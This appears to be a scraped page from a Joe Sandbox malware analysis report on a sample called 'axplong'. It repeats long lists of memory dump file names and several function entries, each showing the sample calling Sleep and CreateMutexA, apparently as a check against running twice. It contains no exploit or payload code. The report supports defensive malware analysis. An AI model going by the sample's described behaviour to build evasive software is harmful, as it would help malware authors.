Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: fcd8d4f1909051d383b635203b4c36d33cdd5e1f0b2bf15624b51dedf9e70af4
Instruction ID: c11fc95531bbf154f6329f15d9e1bf608e99f0ee12953e7a180286cdd5d66b52
Opcode Fuzzy Hash: fcd8d4f1909051d383b635203b4c36d33cdd5e1f0b2bf15624b51dedf9e70af4
Instruction Fuzzy Hash: 453126717102008BEF18ABB8DD8976DB6FBDF85314F208219E014DBBC5D775998186A6

Function 0069A47D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: dbf33726e056566f2844c113b63fb7b247181e4a84b187051251a4c513b102a4
Instruction ID: dca91e0d359c5f0c0e3af48dadf4e85a351d029724076e549b2e4011be041d4a
Opcode Fuzzy Hash: dbf33726e056566f2844c113b63fb7b247181e4a84b187051251a4c513b102a4
Instruction Fuzzy Hash: C1313971B101008BEF08ABBCCD89BACB6FBDF85714F208219E0159BBC1D775998187A2

Function 0069A5B2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: d0215f1f4a2585ceb1764ba71a70f2aaa587d9dbf0ae7d1af9b9bfcc1c2edab0
Instruction ID: ba6ab25e57334bb0a109b7c2d0170be7da0dcbec3eaca9bd0efbb66bbbea80a0
Opcode Fuzzy Hash: d0215f1f4a2585ceb1764ba71a70f2aaa587d9dbf0ae7d1af9b9bfcc1c2edab0
Instruction Fuzzy Hash: E23148717102009BEF089BBCDD8976DB7FBDF86310F248219E0159BBD5D735998187A2

Function 00699A0C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 6d5edd4304e5d4507b6a7eb4aaf65559d45ea8dde1a1b475255cc8ab91d8cd2f
Instruction ID: af62fb2eb8928aecc3c2d70074d3637e95dff57d6f2cd54909ac057b66c66d0f
Opcode Fuzzy Hash: 6d5edd4304e5d4507b6a7eb4aaf65559d45ea8dde1a1b475255cc8ab91d8cd2f
Instruction Fuzzy Hash: 4A2179717142009BEF18AB6CDD8976CB6ABEF81310F20422DE4149BBC5DB3599828761

Function 0069A27F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.000000000095C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328589917.0000000000987000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328630163.0000000000988000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328673764.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328714567.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328749895.0000000000990000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328795594.000000000099E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328827990.000000000099F000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_690000_axplong.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: $2o
API String ID: 1464230837-4034404246
Opcode ID: 0d88742742204ad8d5d5eb4eca0e3124ccd8fc06dedd116c71646e4692e923b0
Instruction ID: c247f39a0e8ecb3c3b0f6c01c95b07ddf77bcb4f5dbe181154c778507ca7e091
Opcode Fuzzy Hash: 0d88742742204ad8d5d5eb4eca0e3124ccd8fc06dedd116c71646e4692e923b0
Instruction Fuzzy Hash: 7E216A717502009BEF089BACDE8976CB6EBDF81311F24022DE4049BBC4D7769A818692

Function 0069A786 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 0069A893
CreateMutexA.KERNELBASE(00000000,00000000,006F3224), ref: 0069A8B1

Strings

$2o, xrefs: 0069A8A0

Memory Dump Source

Source File: 00000003.00000002.2319764811.0000000000691000.00000040.00000001.01000000.00000007.sdmp, Offset: 00690000, based on PE: true

Associated: 00000003.00000002.2319733007.0000000000690000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319764811.00000000006F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319841163.00000000006F9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319867852.00000000006FB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2319893977.0000000000707000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320066184.000000000085D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320092933.0000000000860000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320117982.0000000000870000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320140932.0000000000872000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.0000000000873000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320163140.000000000087C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320237341.0000000000897000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320257409.0000000000898000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320303144.00000000008AD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320400071.00000000008B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320429989.00000000008B6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320456348.00000000008BB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320489893.00000000008BC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320812738.00000000008C2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320858551.00000000008DD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320879777.00000000008E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320904288.00000000008E3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320932332.00000000008E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2320952099.00000000008EF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324668175.00000000008F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324723457.00000000008FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324801236.00000000008FE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324939310.00000000008FF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2324996817.0000000000902000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2325091929.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328150951.000000000090A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328189416.0000000000912000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328232078.0000000000913000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328284566.0000000000914000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328318267.000000000091C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328363623.000000000092D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328404891.000000000092E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328464248.000000000094F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2328510477.0000000000950000.00000040.00000001.01000000.00000007.sdmpDownload File
